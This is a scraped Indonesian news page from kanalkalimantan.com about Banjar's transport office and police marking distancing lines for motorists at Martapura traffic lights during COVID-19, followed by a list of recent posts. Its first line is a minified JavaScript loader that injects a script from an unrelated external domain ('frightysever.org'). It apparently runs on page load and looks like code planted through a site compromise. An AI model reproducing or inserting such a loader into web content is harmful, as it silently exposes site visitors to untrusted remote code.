(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Tetap Jaga Jarak Meski di Traffic Light Sekalipun


KANALKALIMANTAN.COM, MARTAPURA – Ada yang berbeda di dua perempatan di Jalan A Yani di Kota Martapura yang dilengkapi dengan traffic light pada Rabu (2/9/2020) pagi.

Jajaran Dinas Perhubungan dan Satlantas Polres Banjar disebar di perempatan Sekumpul dan perempatan pasar Martapura.

Petugas mengarahkan pengendara motor dan pengemudi mobil yang berhenti guna menempati posisi masing-masing saat lampu merah menyala.

Pengendara motor diarahkan di barisan depan menempati posisi pada garis yang dibikin di badan jalan layaknya pebalap motor menempati posisi saat hendak start balapan.

Sementara mobil menempati posisi di bagian belakang susunan sepeda motor.

Begitulah gambaran sosialisasi yang dilakukan Dinas Perhubungan (Dishub) Banjar pada pagi hingga siang itu.

Kepala Dishub Banjar Drs H Aspihani MAP, menjelaskan, sosialisasi dilakukan dalam rangka persiapan menuju era tatanan baru (new normal).

“Maka kami, Dinas Perhubungan dan Polres Banjar serta dibantu oleh Saka Bhakti Husada binaan Dinas Kesehatan melaksanakan sosialisasi physical distancing di marka lalu lintas untuk pengguna roda dua dan roda empat pada saat menunggu di traffic light dengan simulasi jaga jarak sesuai dengan marka jalan yang disiapkan,” katanya.

Harapannya, sambung Aspihani, semua pengendara roda dua dan roda empat dapat memahami dan mengerti social distancing dan physical distancing dalam berkendara.

“Tidak hanya di tempat-tempat umum dan nantinya dapat menekan angka penyebaran virus corona di jalan raya,” ujar dia didampingi Kabid LLPD Faisal ST MM dan Kanit Dikyasa Polres Banjar Iptu H Tata.

 

Pantauan kanalkalimantan.com, pada umumnya pengendara roda dua sudah menaati jaga jarak saat berhenti di perempatan, meski tidak ada petugas yang berjaga

“Ya, asyik aja. Kita menaati peraturan jaga jarak. Gampang, tinggal berhenti di garis yang sudah disiapkan,” ujar Adi, seorang pengendara ketika diminta tanggapannya tentang aturan baru itu. (kanalkalimantan/dhani)

 

Editor: Dhani

 


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

1 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

4 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

5 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

9 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

10 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

10 jam ago

This website uses cookies.